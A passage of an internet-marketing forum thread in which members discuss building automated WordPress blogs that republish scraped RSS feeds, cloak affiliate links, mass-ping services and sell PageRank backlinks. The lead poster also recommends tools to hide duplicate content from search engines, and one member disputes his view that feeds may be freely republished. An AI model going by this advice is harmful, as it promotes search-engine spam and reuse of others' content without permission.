      Yep, you got it! See? That's what I'm talking about. Kudos to you, my friend. I knew there were some smarties here. Turns out it's so easy you didn't even need my help. All it took to find that out was to actually TRY IT! I feel like a lot of people get crippled by the "Fallacy of Information" (look it up if you don't know what that is). Instead, just roll up your sleeves and get to it. It's easy as pie!

      Originally Posted by GeorgR. View Post

      well this post certainly nicely belongs with the current "clog farming" craze, i think its interesting since i could try out new plugins. Its solid and "simple".

      I am still amazed how i can actually create a good looking WP blog about WHATEVER in 3 minutes or less...in addition this blog is auto-updating AND has my affiliate links in it. The more i work with WP and the plugins, the more i like it. There is really not more to do than getting a domain, maybe also get a auto-social-bookmarking plugin..and you're good to go.

      Now i am off searching a good niche
      Yep. Kick Ass. I actually use Auto Social Poster myself, but it's not free, so I didn't mention it here. Keep an eye out for new WP plugins all the time. There's constantly stuff coming out that will help do more. For example, there are several plugins that will automatically create tags for your posts. Then there are plugins that will automatically SEO your pages based on your tags, for a 1-2 automated combo. If you're into the SEO thing, you can even get plugins to really finely control your nofollows so you can control that PR and maximize it. The higher the PR, the more you can charge for text link ads. You can also get plugins that will auto-link tags and category names as they appear in your copy, for deep linking into your site.

      All kinds of stuff can be done with this - big high five to Georg for showing that all there is to it is to DO IT.
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  • Profile picture of the author Alex Sol
    Hey, Keith.

    Thanks for clearing this up. I wanted to know what to search for - and you just gave me that answered. I guess next time i'll just ask you instead of beating around the bush.

    Sorry for the misunderstanding,

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  • Profile picture of the author Keith Kogane
    Check out this thread: http://www.warriorforum.com/main-int...-shoulder.html

    Blogs built using my method are perfect for this kind of flip. I haven't used his exact method, but there are many more selling points for a potential buyer. It's auto-posting, auto-promoting. You don't have to do anything but add in your own affiliate links/ad codes.

    Someone go do this and make some money!
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  • Profile picture of the author Evita
    Keith,
    Is your focus on affiliate products on these blogs, or adsense also?

    Thanks

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      Keith,
      Is your focus on affiliate products on these blogs, or adsense also?

      Thanks

      Evita
      I don't really focus on anything in particular. I try to monetize everything I can. Mainly I set up the affiliate products AND I throw AdSense up there at the beginning. Once I set it up, I don't really do much else unless nothing's working at all, or if it's working particularly well. If it's A, I change out my affiliate products and try something else. If it's B, I look to expand monetization and do more ad sales, include more linking opportunities, etc.

      But even if it doesn't work as far as moving product or getting ad clicks, it will still automatically get page rank. The worst performing blog I ever did got to be a PR4 after my spending an hour setting it up, and then not touching it for 3 months. I can sell PR4 backlinks all day long for at least $50 a month. Each. I try to limit paid backlinks (I just stick them in the built in link-list in Wordpress) to less than 10 per blog. I figure you can do the math there.

      Now, there's also a plugin I'm working with that is a donation mechanism. I forget what it's called, but it allows a visitor to make a PayPal Payment and fill out a sponsor form, which then puts their details on the site automatically. What I want to see is if I can get it to work with a PayPal subscription, so I can just send prospective buyers directly to the blog for self-serve. Right now, I have to do that part of the business manually.

      Try it standard with adsense (or your favorite ad publishing network) and a handful of affiliate products. It doens't hurt all all to do both. As to what works better, it depends on the niche and the products, and a whole lot of chance. Remember, I really don't know where all this stuff is ending up. I just submit it to a ton of places and see what happens.

      You'll end up creating trackbacks on other blogs, your content will get syndicated on other aggregators, once you start getting attention, people will link to you on your own, etc. etc.

      Hope that helps!
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  • Profile picture of the author tommygadget
    Hello,

    Keith, I saw your link in my thread. I will say something here about your method and make a comment that may help some. First off, as I mention in my ebook, traffic and income will determine your blog's value. As such, if you get these blogs to over $100/month income, you will do well, very well. I show you how to add services and extras to pump up the profits as well.

    Now on to a couple of helpful points. First off, regarding those massive ping lists. You have to be VERY careful about those. If you look closely, you'll see that several services listed above actually ping the same sites. As a result, every time you ping, you'll be pinging 3-4-5 or more times with the same information. This can eventually cause your blog to be blacklisted on several ping urls. I use a small but not redundant list. Second, please avoid massively posting using automated tools. Have a little patience. Set the posting frequency to something a motivated human can achieve. If you fly under the radar, you'll do much better in the long term.

    Hope this helps.

    TomG.
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    • Profile picture of the author Shannon Herod
      If you look closely, you'll see that several services listed above actually ping the same sites. As a result, every time you ping, you'll be pinging 3-4-5 or more times with the same information. This can eventually cause your blog to be blacklisted on several ping urls.
      That is a fantastic point and it was one I was just going to bring up. I'm glad I ended up reading your posts.

      That is something you really need to watch out for. You can get your blog banned from those pinging sites. Trust it when I say it happens.

      Regards,

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    • Profile picture of the author Keith Kogane
      Originally Posted by tommygadget View Post

      Hello,

      Keith, I saw your link in my thread. I will say something here about your method and make a comment that may help some. First off, as I mention in my ebook, traffic and income will determine your blog's value. As such, if you get these blogs to over $100/month income, you will do well, very well. I show you how to add services and extras to pump up the profits as well.

      Now on to a couple of helpful points. First off, regarding those massive ping lists. You have to be VERY careful about those. If you look closely, you'll see that several services listed above actually ping the same sites. As a result, every time you ping, you'll be pinging 3-4-5 or more times with the same information. This can eventually cause your blog to be blacklisted on several ping urls. I use a small but not redundant list. Second, please avoid massively posting using automated tools. Have a little patience. Set the posting frequency to something a motivated human can achieve. If you fly under the radar, you'll do much better in the long term.

      Hope this helps.

      TomG.
      Great points Tommy. Especially about the ping list. You do want to make sure you're not double pinging any services. Try to get as many as possible, but don't overdo it. Very important to note. That doesn't apply to the submission of your RSS feed - I recommend doing that in as many places as possible.

      Now as far as posting with the automated tools, it really depends on the look and feel of the blog. I try to use a news-y theme, and I develop a pretty robust category structure, and then match that with my WP-O-Matic schema. So what I get it what looks less like a blog and more like an authority news site, rather than what most consider a "blog" (a series of posts from a single author).

      For me, the more content, and the more variated, the better. Here's a super-power tip I didn't include in the original writeup (I forgot) but you can get a plugin called "WP More Feeds" that allows you to make a separate feed URL for each CATEGORY you create for your posts. Even a feed for each tag! That means you can submit that many MORE feeds to all these RSS sites and get even more coverage.

      EDIT: I was incorrect - More Feeds just makes your category and tag archive pages into feeds. Wordpress itself makes per-category feeds as explained in their docs. Thought it didn't sound right, so I double checked on a blog that uses it. The point is still valid though - your blog has multiple feeds, and you should use em all!

      Then, go to feedburner, get set up there with all your feeds, and then submit all THOSE to all the RSS sites.

      You can really go nuts with this and make your content just cast a gigantic net. Or, you can just do a reasonable amount per blog, then instead of overdoing it on one, spend your energy on another blog in another niche. Or, another super tip - if you're in a niche that's doing well, make more than one blog in the same niche to cover different sub-niches. I've only done this in one of my markets, but it's working well. If I wasn't so lazy, I'd really expand on it some more.
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  • Profile picture of the author TomLeDree
    Are you allowed to pull RSS feeds from sites and blogs and just republish them on your own site?
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    • Profile picture of the author Keith Kogane
      Originally Posted by TomLeDree View Post

      Are you allowed to pull RSS feeds from sites and blogs and just republish them on your own site?
      I'm syndicating them. That's part of the whole reason RSS exists. "Really Simple Syndication". If they don't want it re-published, they shouldn't put it in a feed, is my thinking. But depending on their specific TOCs, I might be stepping on some toes, but not so far as I know.

      I also link back to the sources too, so they're all getting benefit. It's no different than if I was a news site, quoting stories and linking back to the source. I just do it automatically. Isn't that really what something like Google News is, after all? I'm not stealing the content or re-labeling it as my own, I'm republishing it intact. I just also add in my own links, and then further re-publish.

      My goal as stated is to make a niche authority site. What better way to do that than to set my blog up as a crossroads for all niche related discussion and new content, no matter where it might appear?

      In fact, I never bothered to follow up, but I bet original posters who get re-syndicated by me also get a huge SEO benefit from my process as well. Their backlinks get syndicated as well as mine. Never had anyone complain or contact me to be removed. If they did, I could, but what are they getting out of it - free links and traffic?
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      • Profile picture of the author moodykitty
        Originally Posted by Keith Kogane View Post

        I'm syndicating them. That's part of the whole reason RSS exists. "Really Simple Syndication". If they don't want it re-published, they shouldn't put it in a feed, is my thinking. But depending on their specific TOCs, I might be stepping on some toes, but not so far as I know.

        I also link back to the sources too, so they're all getting benefit....
        With WP-o-matic how are you linking back to the source?

        I tried setting it up with goarticles feeds but it doesn't link back. I know in the Options section I can 'Post title links to source' but I don't want to do that, do I?

        Any help is appreciated!

        Thanks for the great post, btw.

        EDIT TO ADD: I found the answer, duh. from the FAQ of the plugin site:

        "How do I link to the original site/article?

        Use the post template feature (example: {content} <p><a href={permalink}>Link to the original site</a></p>) "
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  • Profile picture of the author Evita
    I'm baaaaack...

    Got the cron job sorted, but having a blank about getting the rss feeds.

    Went to Google news. My keyword has a lot of entries, but nowhere on there is there a way to subscribe to a feed? We are looking for the url of the feed, yes?

    Does that mean I can find blogs on my topic and use their feed? Don't want to copy someone's blog....

    Could someone elaborate on finding a feed please. I already got 10 posts on the blog but none are on my topic...lol...

    Can you set the max. amount of posts per day somewhere?

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      I'm baaaaack...

      Got the cron job sorted, but having a blank about getting the rss feeds.

      Went to Google news. My keyword has a lot of entries, but nowhere on there is there a way to subscribe to a feed? We are looking for the url of the feed, yes?

      Does that mean I can find blogs on my topic and use their feed? Don't want to copy someone's blog....

      Could someone elaborate on finding a feed please. I already got 10 posts on the blog but none are on my topic...lol...

      Can you set the max. amount of posts per day somewhere?

      Evita
      So when you are looking at the results page when you've done a google news search, there is a menu of links along the left hand column. The one that says "RSS" is near the bottom and is the one you're looking for.

      Yes, you can syndicate blogs directly if they provide an RSS feed. The idea is that you're not just copying one blog. If you take blog feeds directly, try to get a bunch of blogs in the same niche, and syndicate them all, so you're aggregating a bunch of content, which is a value in itself.

      Now, if you're getting incorrectly targeted content, and are getting way too many posts, you need to refine your search terms. It's easy, you do it the same way you would if you were searching yourself. Just refine your terms until all (or at least a majority) of the results ARE appropriate for your niche.

      As far as limiting the number of posts, you do that when you set up the campaign. You can limit it to a number of items to pull while ignoring the rest. That's what you're looking to do, I believe.

      Let me know if that answers your questions. Kudos on getting started and implementing this so quickly!
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      • Profile picture of the author Ken
        Thanks Keith:

        Great post. I've already started two sites and more to come.

        BTW. Auto Social Poster is down for the day. Will be open to-morrow.

        NowI'm off to make some money.

        Ken
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        • Profile picture of the author bgmacaw
          I've found WP-O-Matic to be impossibly picky about the RSS feeds. I couldn't get it to create a post for Google News, Google Blog Search, eBay/EPN, Yahoo Pipes or anything else I've tried. I'll do some more Googling around for answer but if anyone has any thoughts about the configuration, please let me know.
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          • Profile picture of the author Keith Kogane
            Originally Posted by bgmacaw View Post

            I've found WP-O-Matic to be impossibly picky about the RSS feeds. I couldn't get it to create a post for Google News, Google Blog Search, eBay/EPN, Yahoo Pipes or anything else I've tried. I'll do some more Googling around for answer but if anyone has any thoughts about the configuration, please let me know.
            Hmm. I've never had any trouble getting it to work. The only thing I can think of is if you don't have PHP5. You need PHP5 to run the SimplePie library that WP-O-Matic uses.

            But I'm not a technical person. It works easy peasy for me and I've never had an issue.

            Edit: I wanted to add, if you're having trouble with WP-O-Matic, you might try using a plugin called "Feed Wordpress" that looks like it does something similar. I've never used it, so I can't say for sure, but it sounds like it does. If anything, it may lack the link replacement feature, but you can get yet another plugin called "SEO Smart Links" can add that functionality back. Again, I haven't tested this combo, but it might work for you if you can't use WP-O-Matic. Hope that helps!

            Edit #2: nm - I'm a dummy - the above system WILL work, I also tested with another re-linking plugin called "KB Linker" - the links show up in the content portion of the feeds. At least, preliminary testing indicates that it does, but I prefer the way WP-O-Matic does it, because the link is actually hard-coded into the body of the post when it's created. These other plugins modify the content when the page is displayed. I guess what I'm saying is, I use WP-O-Matic, but if it's not working for you, try these alternatives. I haven't tested it extensively, it appears that it would work fine. Another important note, even though SimplePie (part of WP-O-Matic) *says* it needs PHP5, the part of it that WP-O-Matic uses must not need it, because just for giggles I tried doing this on a PHP4 installation and it failed the SimplePie test, but still runs and works perfectly.
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            • Profile picture of the author bgmacaw
              Originally Posted by Keith Kogane View Post

              Hmm. I've never had any trouble getting it to work. The only thing I can think of is if you don't have PHP5. You need PHP5 to run the SimplePie library that WP-O-Matic uses.

              But I'm not a technical person. It works easy peasy for me and I've never had an issue.
              Ha! It's probably not working for me because I am a technical person, just not in PHP and Linux (I do the Windows/ASP.NET corporate programming side of things). I'll have to dig into it further if there isn't a quick answer.

              My server, Host Gator, does pass the SimplePie library test and the plugin runs but doesn't post anything. It almost looks like the WP-O-Matic can't deal with Google News or Blog Search, Yahoo Pipes, eBay feeds, Feedburner or anything else other than a plain Jane WordPress RSS feed. If you're using anything other than WP feeds let me know so I won't pursue a blind alley looking at code but instead look at configuration issues.
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  • Profile picture of the author iw433
    Great Post!! Thanks. Want to control how often you ping. Get, "maxblogpress-ping-optimizer". You can set your pings for however long an interval you want.
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    • Profile picture of the author Keith Kogane
      Originally Posted by iw433 View Post

      Great Post!! Thanks. Want to control how often you ping. Get, "maxblogpress-ping-optimizer". You can set your pings for however long an interval you want.
      Yes! I also recommend this plugin as well. It's not VITAL, but it will help your blog appear more natural if you plan to go full automatic.

      Even if you don't go full automatic, you could easily use this method to save all your RSS stuff as drafts, then go in and manually edit, tweak, commentate, etc. It's still an IMMENSE time saver. That's if you're trying to go with the slick, for real, dedicated niche site.

      My goal is more to make a lot of average performing mediocre sites and keep profiting from volume. That's why I focus on selling advertising, because SEO savvy marketers don't really care if the blog is crappy or not as long as the link gives PR juice. I'm not inclined to care much either.

      Good enough is good enough for me. But I don't want anyone to exclude themselves from this method because they don't want to make an automated re-poster. The technique is still kickass if you need a way to constantly come up with stuff to blog about. DOn't go looking for topics - use my system to let topics come to you!

      Anyways, enough rambling. Hope that helps.
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    • Profile picture of the author Paul Myers
      Keith,
      If they don't want it re-published, they shouldn't put it in a feed, is my thinking. But depending on their specific TOCs, I might be stepping on some toes, but not so far as I know.
      I would caution folks to read those terms and conditions prior to adding a feed. Some people disagree with you on your idea that it shouldn't be in an RSS feed unless they want it re-published.

      I provide a feed for the benefit of my visitors, not for other people to use my material, commercially or otherwise. There is a notification to that effect on the front page, above the fold.

      That said, for feeds that allow it, and that's probably the vast majority of them, this is an excellent idea, well presented. Nice stuff, sir.


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    • Profile picture of the author Alminc
      Keith,

      What is the stable version of W-P-O-Matic plugin
      that you use and where can I download it?

      I was on the author's page and it seems that this
      plugin has many bugs and problems, that's why I
      ask. He states that it still can have bugs (v. 1.0-RC4)

      Is it compatible with 2.6.x version of wordpress?


      Could you please point me into right direction?


      Almin
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      • Profile picture of the author Keith Kogane
        Originally Posted by Alminc View Post

        Keith,

        What is the stable version of W-P-O-matic plugin
        and where can I download it?

        Is it compatible with 2.6.x version of wordpress?

        I have same questions about GoCodes plugin.

        Could you please point me into right direction?


        Almin
        1. Whatever version is linked to from the main site for the plugin. It's spelled "WP-O-Matic" - I think the site it's hosted on is called DevThought or something like that, but you can download it from the WordPress.org plug in depository. That's under the "Extend" link on their site, if I recall.

        2. Yes, I'm using it right now with the most current version of WordPress.

        3. I'm not sure what your questions are about the GoCodes plugin, so you'll have to ask em before I can answer em. GoCodes is available in the Wordpress plugin directory as well. Maybe you can get the answers you want there? If not, let me know!

        Hope those answers help. Let me know if I can make anything clearer.
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        • Profile picture of the author Alminc
          Thank you for your answers.

          I don't have questions about GoCode .

          But there is one part of your post that I don't understand:

          Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit).
          If I am linking to my 'money sites' using GoCode, then those are all outgoing links that leads to my monetized URLs. How is then the number of backlinks to the blog itself increased and blog getting higher PR?
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          • Profile picture of the author Keith Kogane
            Originally Posted by Alminc View Post

            Thank you for your answers.

            I don't have questions about GoCode .

            But there is one part of your post that I don't understand:



            If I am linking to my 'money sites' using GoCode, then those are all outgoing links that leads to my monetized URLs. How is then the number of backlinks to the blog itself increased and blog getting higher PR?
            Sorry, I read your other post as "I have SOME questions about GoCodes, not "same" - my bad. Note that if you just go check out the plugins and do a Google search to find them, you can quickly see compatibility, etc. Just saying you don't have to wait around in a forum for me to answer - the answers are all out there already. Just need to search.

            For your GoCodes question:

            So you have hypothetically, some affiliate URL like hxxp://www.someaffiliateurl.com - you paste that into gocodes and it will create something like hxxp://www.myblog.com/go/someaffiliateurl - you can specify it the setup. The /go url redirects to whatever you tell it to, in this case, we've set it to redirect to hxxp://www.someaffiliateurl.com.

            Now, you use your gocodes urls to make hyperlinks out of the keywords in your posts - you do this part in WP-O-Matic. All the backlinks going out for syndication are pointing to hxxp://www.myblog.com/go/whatever, which is on *your* domain. You decide what the redirect goes to in the gocodes interface.

            When you submit your RSS feed to various other sites, every time you update your blog, your content (with your links back to your domain) will get published in various places on the web, get crawled by spiders, get your pages indexed, add to your PR value to your domain, etc. If those links are *clicked* by a person, they will get redirected to the offer. However, the links will still count as pointing to your own domain.

            At least, this is the way it was explained to me by my tech guy. GoCodes operates at the htaccess level, so spiders think the content on the redirect is actually on your own site. I hope I'm explaining that the right way - remember, I'm not a technical person.

            The bottom line is, it works.

            Does that make sense? If not, install it and try it out. It'll make sense when you actually do it, and you'll answer almost all your own questions in the process. Or, ask a more detailed question here and I'll try to answer further as best I can.

            I talked earlier about the "Fallacy of Information" - don't waste time pursuing additional information that will have no affect on the outcome. If you set it up like I told, you, it'll work as described. To keep asking questions without trying it out for yourself is procrastination and distraction.

            Not trying to chide you, just sharing that thought with others. I know I personally used to struggle with that problem, but I started having real success when I just focus on *doing* stuff and quit learning for a while.

            Edit: The forum software made links out of my made up dummy urls, so I had to make the "http" above into "hxxp" so you could see the example and not see some link to a video game thing. The links above are just for illustration purposes.
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    • Profile picture of the author Seattle Mike
      Anyone else having trouble getting gocodes working?

      It says redirect created successfully, but I just get a 404 if I test them.

      I added the htaccess line of code but that didn't make a diff.
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    • Profile picture of the author lordgalex
      Thanks for sharing with us...
      This is very useful for me.
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    • Profile picture of the author Chris Grable
      Keith,

      Is there any way you could point us to a site where you have this implemented? I'm having trouble wrapping my arms around the concept.... I guess maybe I just need to see iut.
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    • Profile picture of the author tiger325
      Thank you for sharing with all of us Keith
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    • Profile picture of the author Kamran
      Thanks a lot for sharing your technique. I have a question:
      How much can you expect from such blogs and what is the time frame?
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    • Profile picture of the author profitscc
      Keith,

      Hope you don't mind if I incorporate some of the great blog ideas
      and niche blog business models discussed here within my
      Expert Blogging video tutorials... I can always add an additional
      video tutorial.

      Expert Blogging Secrets @ Profits.CC

      Actually, I am wondering whether you'd like to receive a
      complimentary Review Copy of such Video Course, so
      that you may provide a Critique.

      And because today is Black Friday, I am also offering a Review Copy
      to anyone reading this thread. You see, the video course is
      brand new, and I am looking for genuine, authentic testimonials.

      Thanks.
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      • Profile picture of the author Keith Kogane
        Originally Posted by profitscc View Post

        Keith,

        Hope you don't mind if I incorporate some of the great blog ideas
        and niche blog business models discussed here within my
        Expert Blogging video tutorials... I can always add an additional
        video tutorial.

        Expert Blogging Secrets @ Profits.CC

        Actually, I am wondering whether you'd like to receive a
        complimentary Review Copy of such Video Course, so
        that you may provide a Critique.

        And because today is Black Friday, I am also offering a Review Copy
        to anyone reading this thread. You see, the video course is
        brand new, and I am looking for genuine, authentic testimonials.

        Thanks.
        Hi.

        I kind of do mind if you are just going to copy my material for use in your own product.

        I'm working on my own course for my method (as you must have read here), so I'd prefer if you don't devalue my method and diminish my own product's potential. I spent a year developing this method, and have been supporting interested people here and via PM for the couple of weeks since I first detailed it here.

        However, if you want to link people back to this thread, or work something out with me to offer my materials to your customers, I'd much prefer that.

        And I'd love to have a look at your course for the same reason - there's just so much you can do with WordPress and I don't know it all. If you have good material, I'd love to be able to refer people to other good material that's out there.

        PM me if you want to discuss it further, but please don't just take my ideas and present them as your own. To me, that goes against the spirit of the Warrior forum.

        That being said, you DID ask, so I don't think you'd go against my wishes.

        I very much appreciate your interest and look forward to possibly working with you in the future!

        Thanks again!
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      • Profile picture of the author JustVisiting
        Originally Posted by profitscc View Post

        Keith,

        And because today is Black Friday, I am also offering a Review Copy
        to anyone reading this thread. You see, the video course is
        brand new, and I am looking for genuine, authentic testimonials.

        Thanks.
        Hi Armando

        I'd like a review copy please.

        Thanks
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    • Profile picture of the author piarwarrior
      Hi I'am a newbie. These Great Tips are really great and usefull for me. How can I find the fast way to get traffic that can conversion to be sales. I really need all guys. Thank for kind helps before
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      • Profile picture of the author Alminc
        I know about a script for wordpress that can automaticaly accept and publish articles from Article Marketer. It's called Auto Submit Articles, but it is compatible only with up to wordpress v. 2.2 .

        I tested it a while ago on wp.2.2 and it worked as expected, but
        that installation was defaced by hackers. Anyway, as far as I know the script can't be used on wp above 2.2.

        I wander if anybody knows about similar article marketer script for wordpress that is compatible with wp 2.6 and above ?
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        • Profile picture of the author Carl Pruitt
          Originally Posted by Alminc View Post

          I know about a script for wordpress that
          can automaticaly accept and publish articles from Article Marketer.
          It's called Auto Submit Articles, but it is compatible only with
          up to wordpress v. 2.2 .

          I tested it a while ago on wp.2.2 and it worked as expected,
          but
          that installation was defaced by hackers. Anyway, as far as I
          know the script can't be used on wp above 2.2.

          I wander if anybody knows about similar article marketer script
          for wordpress that is compatible with wp 2.6 and above ?
          I don't know of one for Article Marketer, but there is a wordpress
          plugin for Unique Article Wizard that you can use to get free
          articles, but it is a little difficult to keep the articles on
          topic and I haven't felt comfortable just letting them post automatically
          without checking them. There are some junky articles that get
          sent out through that service. Some good one's too though.
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    • Profile picture of the author toptones
      Thanks for sharing this Keith. Great stuff.
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    • Profile picture of the author coreytucker
      Ok so I installed the wp omatic plugin and put the code in my cron and now get the following error when I try to create a new campaign in wordpress:



      The following errors have been encountered:

      * Feeds
      o Feed api.moreover.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://api.moreover.com/RPC2)
      o Feed api.my.yahoo.co.jp/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://api.my.yahoo.co.jp/RPC2)
      o Feed api.my.yahoo.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://api.my.yahoo.com/RPC2)
      o Feed audiorpc.weblogs.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://audiorpc.weblogs.com/RPC2)
      o Feed blog.goo.ne.jp/XMLRPC could not be parsed (SimplePie said: A feed could not be found at http://blog.goo.ne.jp/XMLRPC)
      o Feed blogpeople.net/ping could not be parsed (SimplePie said: A feed could not be found at http://blogpeople.net/ping)
      o Feed blogsearch.google.ae/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.ae/ping/RPC2)
      o Feed blogsearch.google.at/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.at/ping/RPC2)
      o Feed blogsearch.google.be/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.be/ping/RPC2)
      o Feed blogsearch.google.bg/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.bg/ping/RPC2)
      o Feed feedsky.com/api/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://feedsky.com/api/RPC2)
      o Feed hamo-search.com/ping.php could not be parsed (SimplePie said: A feed could not be found at http://hamo-search.com/ping.php)
      o Feed holycowdude.com/rpc/ping/ could not be parsed (SimplePie said: A feed could not be found at http://holycowdude.com/rpc/ping/)
      o Feed rpc.technorati.jp/rpc/ping could not be parsed (SimplePie said: XML error: no element found at line 1, column 0)
      o Feed rpc.weblogs.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://rpc.weblogs.com/RPC2)
      o Feed www.blogpeople.net/servlet/weblogUpdates could not be parsed (SimplePie said: A feed could not be found at http://www.blogpeople.net/servlet/weblogUpdates)
      o Feed xping.pubsub.com/ping/ could not be parsed (SimplePie said: A feed could not be found at http://xping.pubsub.com/ping/)

      Any idea what could be wrong guys?

      Also are we creating a cloaked affiliate link per keyword here? I dont understand exactly what gocodes is all about. Is is strictly for cloaking your affiliate urls or to cloak the affiliate urls with keywords? Thanks
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    • Profile picture of the author nolachief
      keith,

      thanks for this one, too. Great stuff!! and all for FREE!!

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  • Profile picture of the author Easy_Money
    Great Post! I just purchased an autoblog two days ago. I was going to build another type of site, but realized how pricey and time consuming it would be. I knew of the concept, but not the technicals to set it up.

    The site I purchased does not have all theses nifty traffic building features built in. All I can say is ... Wow! When I finish adding these nifty litle extras to it, this established blog will take off!

    Realistically ... It should be fairly easy to build one of these every day or two. Think about the flipping opportunities in 3 to 6 months, with a reseller hosting account!
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  • Profile picture of the author napoleonfirst
    An OMPL file is really good.
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  • Profile picture of the author Kael41
    Keith, thanks for a great share. If you have any insight, can you us know of any full text feeds that you may be privy towards? I know there's got a be a directory someplace, i just haven't found it yet
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    • Profile picture of the author Keith Kogane
      Originally Posted by Kael41 View Post

      Keith, thanks for a great share. If you have any insight, can you us know of any full text feeds that you may be privy towards? I know there's got a be a directory someplace, i just haven't found it yet
      I don't worry so much about finding full text feeds. They're out there, I find blogs that do it now and again and syndicate them. However, most of the stuff I use are just short, a few hundred words at most. I've been looking around here and I see some folks like to post longer articles on their sites, or maybe even sales or squeezes. I'd recommend putting that kind of thing into a page, rather than a post. Then, you can actually use THOSE urls in your backlink building and start getting those pages to rank.

      If you want to post some lengthier original content but still keep it automated, you can check out a plugin called "Wordpress Article Importer" that I've got. I haven't used it in a long time, but basically you can take a bunch of PLR, zip it, upload it, and this plugin will drip out posts using the article content.

      That's a pretty cool option by itself. You could even get another plugin called "Scheduled Post Shift" that will re-post your archive of posts in a rolling manner. Then you could try something like WordPress ReWriter to make it unique each time.

      Meh, I'm rambling. I guess that's not quite the answer to your question, but hopefully it's useful. There really are a lot of possibilites of what you can do with this method.
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  • Profile picture of the author jazzyjeff
    Keith,

    Thanks for sharing this terrific business model with all of the members in the warrior forum. I also have heard of this model before. People claim it has worked. I have no doubt that you were able to be successful. I am sure that you were able to focus and be successful with this business model. After all, you did spend one entire year before you got noticeable income.

    I have the same problem as most newbie marketers have. I tend to lose focus and jump from business model to business model. I hope that one day I will be able to strap down and just go full out on one type of business model instead of jumping around.
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    • Profile picture of the author Keith Kogane
      Originally Posted by jazzyjeff View Post

      Keith,

      Thanks for sharing this terrific business model with all of the members in the warrior forum. I also have heard of this model before. People claim it has worked. I have no doubt that you were able to be successful. I am sure that you were able to focus and be successful with this business model. After all, you did spend one entire year before you got noticeable income.

      I have the same problem as most newbie marketers have. I tend to lose focus and jump from business model to business model. I hope that one day I will be able to strap down and just go full out on one type of business model instead of jumping around.
      Dude, I used to have the EXACT SAME PROBLEM! That's what I love about this system is that every blog has a degree of uniqueness - I can mess with some new templates and plugins, I end up learning a new niche by doing the keyword and product research, etc. I try different money making methods too. I originally started by focusing entirely on AdSense, but that's really chump change. There's much better money to be made doing other things with this kind of blog.

      But my point is, the work's different enough to be interesting each time. Even though I *could* churn these out in about an hour's time, I usually end up spending at least a day on them when I make them. I love messing with WordPress.

      But even so, it's just a day. I set it up and forget about it. I check back in after a few months and then make adjustments as needed. In other words, it works without me. But that little bit of work ends up growing into an asset that I can do something with.

      I never have to think "oh, what's my next project going to be" because I always have something to do. One blog is getting a lot of traffic, so I'll add a squeeze page and build a list. One blog isn't getting good content, so I refine the WP-O-Matic campaign. One blog isn't making any affiliate sales, so I swap out the products, etc. etc. I find it easier to work on something that's already in progress. Maybe that'll help you out too.

      And when I *do* get bored messing with a given blog, that's how I can tell it's time to set it aside and start a new one.
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      • Profile picture of the author Alminc
        For your GoCodes question:

        So you have hypothetically, some affiliate URL like hxxp://www.someaffiliateurl.com - you paste that into gocodes and it will create something like hxxp://www.myblog.com/go/someaffiliateurl - you can specify it the setup. The /go url redirects to whatever you tell it to, in this case, we've set it to redirect to hxxp://www.someaffiliateurl.com.

        Now, you use your gocodes urls to make hyperlinks out of the keywords in your posts - you do this part in WP-O-Matic. All the backlinks going out for syndication are pointing to hxxp://www.myblog.com/go/whatever, which is on *your* domain. You decide what the redirect goes to in the gocodes interface.

        When you submit your RSS feed to various other sites, every time you update your blog, your content (with your links back to your domain) will get published in various places on the web, get crawled by spiders, get your pages indexed, add to your PR value to your domain, etc. If those links are *clicked* by a person, they will get redirected to the offer. However, the links will still count as pointing to your own domain.

        At least, this is the way it was explained to me by my tech guy. GoCodes operates at the htaccess level, so spiders think the content on the redirect is actually on your own site. I hope I'm explaining that the right way - remember, I'm not a technical person.

        The bottom line is, it works.
        Thank you very much for the explanation, now I understand how
        the backlinks are built automatically.

        You mentioned that you are using some newsy themes, so the blog
        looks more like niche authority news sindicating site.

        Would you mind pointing us to a couple of sample themes that
        would be good for that purpose ?
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        • Profile picture of the author Alminc
          The reason I asked is I sorted the WP-O-Matic dupe problem so they are deleted automatically
          JustVisiting,

          Would you mind sharing your method to delete dups automatically?
          It's something we all can need.
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        • Profile picture of the author Keith Kogane
          Originally Posted by JustVisiting View Post

          Keith

          The reason I asked is I sorted the WP-O-Matic dupe problem so they are deleted automatically

          You mentioned "Uniquifier" which is fine for cloaking the dupe content from the search engines - but having random chars throughout the post doesn't do much for KW optimization.

          Also, if posting dupe articles they will be hidden from the se's BUT software such as Copyscape will find dupes.
          Yeah, let us know how you did it! That would make things just *that* much more hands-off.

          I only just started messing with Uniquifier. I thought it was helping, but if that's what it actually does, I don't see how that's a help. I might have to quit using that one. There's another rewriting plugin I wanted to try, but it just got sold and isn't available right now. Thanks for pointing that out!

          I also found one that will allow you to make a pages/subpages with a bunch of items on em, then use a tag to randomly pull from those items and add them to your posts. It's meant for doing like, random quotes or "tip of the day" kind of things, but I can see using it to remix content to make the total page more unique. I haven't used it yet though. Need to find that again, actually.

          Re: Copyscape - yeah, I'm not really trying to post whole articles by others on my site. That's good advice for others here though. I'm not so into the full-length feeds myself. I prefer snippets.

          Originally Posted by Alminc View Post

          Thank you very much for the explanation, now I understand how
          the backlinks are built automatically.

          You mentioned that you are using some newsy themes, so the blog
          looks more like niche authority news sindicating site.

          Would you mind pointing us to a couple of sample themes that
          would be good for that purpose ?
          I'm currently digging the Revolution two series of themes, though I just picked those up.

          I don't have a single go-to resource, I just look for em when I'm making a blog and pick one I like. Here's something I just found that should give you an idea of the style I go for though: Top 10 Wordpress Magazine Style Themes | Sooth Brush

          I generally want something with that "magazine" or news site feel. There are plenty around.
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  • Profile picture of the author JustVisiting
    Hi

